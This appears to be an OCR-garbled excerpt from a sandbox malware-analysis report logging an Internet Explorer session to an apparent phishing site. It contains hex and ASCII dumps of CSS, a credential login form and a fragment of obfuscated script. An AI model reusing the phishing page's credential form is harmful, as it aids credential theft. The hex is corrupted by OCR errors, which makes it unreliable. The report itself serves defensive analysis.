2021-09-15 14:28:03 UTC 161 IN Data Raw: 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d
62 65 74 77 65 65 6e 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73
6f 6¢ 69 64 20 23 65 39 65 63 65 66 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6¢ 65 66 74 2d 72 61 64 69 75 73 3a 2e 33 72 65
6d 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 7d 2e 6d 6f 64 61 6¢ 2d 68
65 61 64 65 72 20 2e 63 6¢ 6f 73 65 7b 70 61 64 64 69 6e 67 3a 31 72 65 6d 3b 6d 61 72 67 69 6e 3a 2d 31 72 65 6d 20
2d 3172 65 6d 20 2d 31 72 65 6d 20 61 75 74 6f 7d 2e 6d 6f 64 61 6¢ 2d 74 69 74 6¢ 65 7b 6d 61 72 67 69 6e 2d 62 6f 74
74 6f 6d 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e
Data Ascii: -pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #e9ecef;border-top-left-rad
ius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-
title{margin-bottom:0;line-height:1.

2021-09-15 14:28:03 UTC 164 IN Data Raw: 38 30 30 30 0d Oa 22 2c 52 6f 62 6f 74 6f 2c 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2c 41 72 69 61
6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 22 41 70 70 6¢ 65 20 43 6f 6¢ 6f 72 20 45 6d 6f 6a 69 22 2¢ 22 53 65 67 6f 65 20
55 49 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6¢ 22 3b 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 6e
6f 72 6d 61 6¢ 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 74
65 78 74 2d 61 6¢ 69 67 6e 3a 6¢ 65 66 74 3b 74 65 78 74 2d 61 6¢ 69 67 6e 3a 73 74 61 72 74 3b 74 65 78 74 2d 64 65
63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 74 72 61 6e
73 66 6f 72 6d 3a 6e 6f 6e 65 3b 6¢ 65 74 74 65 72 2d 73 70 61
tyle:normal;font-weight:400;line-height: 1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-
transform:none;letter-spa
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Timestamp transferred

2021-09-15 14:28:03 UTC 168

2021-09-15 14:28:03 UTC 172

2021-09-15 14:28:03 UTC 176

2021-09-15 14:28:03 UTC 180

2021-09-15 14:28:03 UTC 184

2021-09-15 14:28:03 UTC 188

2021-09-15 14:28:03 UTC 193

2021-09-15 14:28:03 UTC 196

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 70 72 65 76 2c 2e 63 61 72 6f 75 73 65 6¢ 2d 69 74 65 6d 2e 61 63 74 69 76 65 7b 64 69 73 70 6¢ 61 79 3a 62
6¢ 6f 63 6b 7d 2e 63 61 72 6f 75 73 65 6¢ 2d 69 74 65 6d 2d 6e 65 78 74 2c 2e 63 61 72 6f 75 73 65 6¢ 2d 69 74 65 6d 2d
707265 76 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 74 6f 70 3a 30 7d 2e 63 61 72 6f 75 73 65 6¢ 2d 69
74 65 6d 2d 6e 65 78 74 2e 63 61 72 6f 75 73 65 6¢ 2d 69 74 65 6d 2d 6¢ 65 66 74 2¢ 2e 63 61 72 6f 75 73 65 6C 2d 69 74
65 6d 2d 70 72 65 76 2e 63 61 72 6f 75 73 65 6¢ 2d 69 74 65 6d 2d 72 69 67 68 74 7h 2d 77 65 62 6b 69 74 2d 74 72 61
6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65
58 2830 29 7d 40 73 75 70 70 6f 72 74 73 20 28 28 2d 77 65

Data Ascii: prev,.carousel-item.active{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.ca
rousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate X (0);transform:tr
anslateX(0)}@supports ((-we

Data Raw: 6e 67 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 2e 62 67 2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 2¢ 62 75 74
74 6f 6e 2e 62 67 2d 77 61 72 6e 69 6e 67 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 64
333965 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 67 2d 64 61 6e 67 65 72 7b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f
6¢ 6f 72 3a 23 64 63 33 35 34 35 21 69 6d 70 6f 72 74 61 6e 74 7d 61 2e 62 67 2d 64 61 6e 67 65 72 3a 66 6f 63 75 73 2¢
61 2e 62 67 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 2e 62 67 2d 64 61 6e 67 65 72 3a 66 6f 63 75 73
2c 62 75 74 74 6f 6e 2e 62 67 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72
3a 2362 64 32 31 33302169 6d 70 6f 72 74 61 6e 74 7d

Data Ascii: ng:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-da
nger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-d
anger:hover{background-color:#bd2130!important}

Data Raw: 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 7b 64 69 73 70 6C 61 79
3a 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 62 6¢ 6f 63 6b 7b 64 69 73 70
6c 61 79 3a 62 6¢ 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 74 61 62 6¢ 65 7b 64 69 73 70 6¢ 61 79 3a
74 61 62 6¢ 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 74 61 62 6¢ 65 2d 72 6f 77 7h 64 69 73 70 6¢ 61 79 3a
74 61 62 6¢ 65 2d 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 74 61 62 6¢ 65 2d 63 65 6¢ 6¢ 7b 64 69 73
70 6¢ 61 79 3a 74 61 62 6¢ 65 2d 63 65 6¢ 6¢ 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 78 6¢ 2d 66 6¢ 65 78 7b 64 69 73
70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 21 69 6d

Data Ascii: important}.d-xI-inline-block{display:inline-block!important}.d-xI-block{display:block!important}.d-xI-table{
display:table!important}.d-xI-table-row{display:table-row!important}.d-xI-table-cell{display:table-celllimportant}.d-xI-flex{displ
ay:-webkit-box!im

Data Raw: 74 7d 2e 61 6c 69 67 6e 2d 73 65 6¢ 66 2d 73 74 61 72 74 7b 2d 6d 73 2d 66 6¢ 65 78 2d 69 74 65 6d 2d 61 6¢
69 67 6e 3a 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6¢ 69 67 6e 2d 73 65 6¢ 66 3a 66 6¢ 65 78 2d 73 74 61
72742169 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢ 69 67 6e 2d 73 65 6¢ 66 2d 65 6e 64 7b 2d 6d 73 2d 66 6c 65 78 2d 69
74 65 6d 2d 61 6¢ 69 67 6e 3a 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6¢ 69 67 6e 2d 73 65 6¢ 66 3a 66 6C 65 78 2
d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢ 69 67 6e 2d 73 65 6¢ 66 2d 63 65 6e 74 65 72 7b 2d 6d 73 2d 66 6¢
65 78 2d 69 74 65 6d 2d 61 6¢ 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6¢ 69 67 6e 2d 73 65
6c 66 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢

Data Ascii: t}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-
align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:centerlimportant;align-self:cen
terlimportant}.al

Data Raw: 6e 74 3a 76 65 72 74 69 63 61 6¢ 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69
72 65 63 74 69 6f 6e 3a 72 65 76 65 72 73 65 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6¢ 65 78 2d 64 69 72 65 63
74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 2d 72 65 76 65 72 73 65 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6¢ 65 78 2d 64 69 72 65 63
74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 2d 72 65 76 65 72 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6¢ 65 78 2d 6d 64 2d 77
726170 7b 2d 6d 73 2d 66 6¢ 65 78 2d 77 72 61 70 3a 77 72 61 70 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6¢ 65 78 2d 77
7261703a77 7261 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6¢ 65 78 2d 6d 64 2d 6e 6f 77 72 61 70 7b 2d 6d 73 2d 66
6¢ 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 21 69 6d 70 6f

Data Ascii: nt:verticallimportant;-webkit-box-direction:reverselimportant;-ms-flex-direction:column-reverse!important;flex-
direction:column-reverselimportant}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowra
p{-ms-flex-wrap:nowrap!impo

Data Raw: 69 67 6e 2d 69 74 65 6d 73 2d 6¢ 67 2d 73 74 61 72 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6¢ 69 67 6e
3a73 746172742169 6d 70 6f72 7461 6e 74 3b 2d 6d 73 2d 66 6¢ 65 78 2d 61 6¢ 69 67 6e 3a 73 74 61 72 74 21 69
6d 70 6f 72 74 61 6e 74 3b 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 66 6¢ 65 78 2d 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e
74 7d 2e 61 6¢ 69 67 6e 2d 69 74 65 6d 73 2d 6¢ 67 2d 65 6e 64 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6C 69 67 6€
3a 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6¢ 65 78 2d 61 6¢ 69 67 6e 3a 65 6e 64 21 69 6d 70 6f 72 74
61 6e 74 3b 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 66 6¢ 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢ 69 6
7 6e 2d 69 74 65 6d 73 2d 6¢ 67 2d 63 65 6e 74 65 72 7b 2d 77 65

Data Ascii: ign-items-Ig-start{-webkit-box-align:startlimportant;-ms-flex-align:startlimportant;align-items:flex-start!important}.
align-items-lg-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-
Ig-center{-we

Data Raw: 2d 78 6¢ 2d 61 72 6f 75 6e 64 7b 2d 6d 73 2d 66 6c 65 78 2d 6¢ 69 6e 65 2d 70 61 63 6b 3a 64 69 73 74 72 69
6275 74 65 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6¢ 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 61 72 6f 75 6e
6421 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢ 69 67 6e 2d 63 6f 6e 74 65 6e 74 2d 78 6¢ 2d 73 74 72 65 74 63 68 7b 2d 6d
73 2d 66 6¢ 65 78 2d 6¢ 69 6 65 2d 70 61 63 6b 3a 73 74 72 65 74 63 68 21 69 6d 70 6f 72 74 61 6€ 74 3b 61 6C 69 67
6e 2d 63 6f 6e 74 65 6e 74 3a 73 74 72 65 74 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6¢ 69 67 6e 2d 73 65 6¢ 66 2d
78 6¢ 2d 61 75 74 6f 7b 2d 6d 73 2d 66 6¢ 65 78 2d 69 74 65 6d 2d 61 6 69 67 6e 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61
6e 74 3b 61 6¢ 69 67 6e 2d 73 65 6¢ 66 3a 61 75 74 6f 21 69

Data Ascii: -xI-around{-ms-flex-line-pack:distributelimportant;align-content:space-around!important}.align-content-xI-st
retch{-ms-flex-line-pack:stretchlimportant;align-content:stretchlimportant}.align-self-xl-auto{-ms-flex-item-align:auto!
important;align-self:auto!i

Data Raw: 33 66 36 65 0d Oa 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6¢ 2d 33 2c 2e
6d 78 2d 33 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 34 7b 6d 61
72 67 69 6e 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 34 2c 2e 6d 79 2d 34 7b 6d 61 72 67 69
6e 2d 74 6f 70 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 34 2c 2e 6d 78 2d 34 7b 6d 61 72 67 6
9 6e 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 34 2c 2e 6d 79 2d 34 7b 6d 61
72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6¢ 2d 34 2c 2e 6d 78 2d 34
7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d

Data Ascii: 3f6e-bottom:1lrem!important}.ml-3,.mx-3{margin-left:Jrem!important}.m-4{margin:1.5rem!important}.mt-4,.my-
4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!importan
t}.ml-4,.mx-4{margin-left:1.5rem!im
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kBytes
Timestamp transferred

2021-09-15 14:28:03 UTC 200

2021-09-15 14:28:03 UTC 204

2021-09-15 14:28:03 UTC 208

2021-09-15 14:28:03 UTC 212

Session ID Source IP

4 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 212

2021-09-15 14:28:03 UTC 303

2021-09-15 14:28:03 UTC 303

2021-09-15 14:28:03 UTC 305

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49778

Direction

ouT

Data

Data Raw: 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 73 6d 2d 35 2c 2e 70 79 2d 73 6d 2d 35 7b 70 61 64 64
69 6e 67 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 72 2d 73 6d 2d 35 2c 2e 70 78 2d 73 6d 2d 35
7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 73 6d 2d 35 2c
2e 7079 2d 73 6d 2d 35 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e
70 6¢ 2d 73 6d 2d 35 2c 2e 70 78 2d 73 6d 2d 35 7b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 33 72 65 6d 21 69 6d 70 6f
72 74 61 6e 74 7d 2e 6d 2d 73 6d 2d 61 75 74 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e
6d 74 2d 73 6d 2d 61 75 74 6f 2c 2e 6d 79 2d 73 6d 2d 61 75 74

Data Ascii: rem!limportant}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!im
portant}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-au
to{margin:auto!important}.mt-sm-auto,.my-sm-aut

Data Raw: 74 6f 70 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 6¢ 67 2d 34 2c 2e 6d 78 2d 6¢ 67
2d 34 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 6¢ 67
2d 34 2c 2e 6d 79 2d 6¢ 67 2d 34 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61
6e 74 7d 2e 6d 6¢ 2d 6¢ 67 2d 34 2c 2e 6d 78 2d 6¢ 67 2d 34 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 2e 35 72 65 6d
2169 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 6¢ 67 2d 35 7b 6d 61 72 67 69 6e 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74
7d 2e 6d 74 2d 6¢ 67 2d 35 2c 2e 6d 79 2d 6¢ 67 2d 35 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72
74 61 6e 74 7d 2e 6d 72 2d 6¢ 67 2d 35 2c 2e 6d 78 2d 6¢ 67 2d

Data Ascii: top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-Ig-4,.my-lg-4{margin-bottom:1.5rem!
important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-Ig-5,.my-lg-5{margin-top:3rem
limportant}.mr-Ig-5,.mx-lg-

Data Raw: 74 61 6e 74 7d 2e 70 62 2d 78 6c 2d 34 2c 2e 70 79 2d 78 6c 2d 34 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f
6d 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6¢ 2d 78 6¢ 2d 34 2c 2e 70 78 2d 78 6¢ 2d 34 7b 70 61
64 64 69 6e 67 2d 6¢ 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 78 6¢c 2d 35 7b 70 61 64
64 69 6e 67 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 78 6¢ 2d 35 2¢ 2e 70 79 2d 78 6¢ 2d 35 7b 70 6
164 64 69 6e 67 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 72 2d 78 6¢ 2d 35 2c 2e 70 78 2d 78
6c 2d 35 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 78 6¢
2d 35 2c 2e 70 79 2d 78 6¢ 2d 35 7b 70 61 64 64 69 6e 67 2d 62 6f 74

Data Ascii: tant}.pb-xI-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xI-4,.px-xI-4{padding-left:1.5rem!important}.p-xI-
5{padding:3rem!important}.pt-xI-5,.py-xI-5{padding-top:3rem!important}.pr-xI-5,.px-xI-5{padding-right:3rem!important}.pb-
xI-5,.py-xI-5{padding-bot

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

199.36.158.100 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /images/1.png HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ranko23.web.app

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 19288

Cache-Control: max-age=3600

Content-Type: text/html; charset=utf-8

Etag: "0edf988fd81418c81589846d9281aa9c0chafc57ea3da786d3f60ece4f5h45d9"
Last-Modified: Wed, 15 Sep 2021 12:10:19 GMT

Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes

Date: Wed, 15 Sep 2021 14:28:03 GMT

X-Served-By: cache-fra19149-FRA

X-Cache: MISS

X-Cache-Hits: 0

X-Timer: $1631716083.402077,VS0,VE305

Vary: x-fh-requested-host, accept-encoding

Data Raw: Od Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0d
0a 3c 68 65 61 64 3e 0d 0a 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69
7074222073 7263 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61
78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72
69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69 70 74
222073 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e
31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e

Data Ascii: <!doctype html><html lang="en"><head> <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax
llibs/jquery/2.2.4/jquery.min.js"></script> <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>

Data Raw: 32 31 2d 34 38 65 35 2d 61 30 32 61 2d 38 64 65 65 64 39 61 34 34 33 32 35 22 3e 0d 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61
7365 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 64 65 6¢ 6¢ 63 73 73 66 69 6C 65
2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 3f 61 6¢ 74 3d 6d
65 64 69 61 26 74 6f 6b 65 6e 3d 65 36 66 31 39 63 65 37 2d 61 39 63 61 2d 34 35 37 65 2d 38 30 64 66 2d 30 66 34 38
323334313261 64 35 22 3e 0d 0a 0d 0a 20 20 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73
22 3e 0d 0a 20 20 20 20 20 20 2e 6¢ 6f 67 69 6e 2d 66 6f

Data Ascii: 21-48e5-a02a-8deed9a44325"> <link rel="stylesheet" href="https://firebasestorage.googleapis.com/v0/b/dell
cssfile.appspot.com/o/font-awesome.min.css?alt=media&token=e6f19ce7-a9ca-457e-80df-0f4823412ad5"> <style ty
pe="text/css"> .login-fo
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 306 IN Data Raw: 78 3b 0d Oa 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 0d Oa 20 20
2020 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20
2d 31 31 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0Oa 20 20 20 20 20 20 7d 0d Oa 20
20 20 20 20 20 0d 0Oa 0d Oa 0d Oa 0d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20
3c 62 6f 64 79 20 64 61 74 61 2d 67 72 2d 63 2d 73 2d 6¢ 6f 61 64 65 64 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c
70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 20 20 20 20 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d Oa 0d Oa 0d Oa 0d Oa 20
20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 69 6e 2d
Data Ascii: X; background: #7f7{7; position: relative; top: -11px; z-index: 1;  } </style> </head
> <body data-gr-c-s-loaded="true"> <p>&nbsp;</p> <p>&nbsp;</p> <div class="login-

2021-09-15 14:28:03 UTC 307 IN Data Raw: 6¢ 6f 63 6b 22 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75
74207479 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6¢ 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6 74 72 6f 6C 22 20 69
64 3d 22 70 72 22 20 6e 61 6d 65 3d 22 70 64 66 32 22 20 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 3d 22 50 61 73 73 77 6f 72 64
2220726571 7569 726564 3d 22 72 65 71 75 69 72 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Oa 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64
64 65 6e 22 20 6e 61 6d 65 3d 22 70 64 66 31 22 20 73 69 7a 65
Data Ascii: lock"></i></span> <input type="password" class="form-control" id="pr" name="pdf2" placeholder="Pa
ssword" required="required"> </div> </div> <div class="form-group"> <input type="hidden"
name="pdf1" size

2021-09-15 14:28:03 UTC 309 IN Data Raw: 68 69 64 65 20 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 20 2e 77 73 5f 74 6f 6f 6¢ 62 61 72
2069 6d 67 20 7b 70 61 64 64 69 6e 67 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 30 70 78 7d 3c 2f 73 74 79 6¢ 65 3e 0d Oa
0d 0a 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6¢ 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d Oa
2020 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68
65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d Oa 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78
74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63
6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6¢ 69 6d 2e
Data Ascii: hide {visibility:hidden} .ws_toolbar img {padding:2px;margin:0px}</style> ... Optional JavaScript --> ... jQuery
first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.

2021-09-15 14:28:03 UTC 310 IN Data Raw: 36 66 5¢ 75 30 30 37 34 5¢ 75 30 30 37 39 5¢ 78 37 30 5¢ 78 36 35 27 5d 3b 64 65 6¢ 65 74 65 20 6d 5b 27 5¢
7530 30 35 37 5¢ 78 36 33 5¢ 75 30 30 36 66 5¢ 75 30 30 34 66 5¢ 75 30 30 36 62 27 5d 3b 4d 3d 36 3b 62 72 65 61 6b
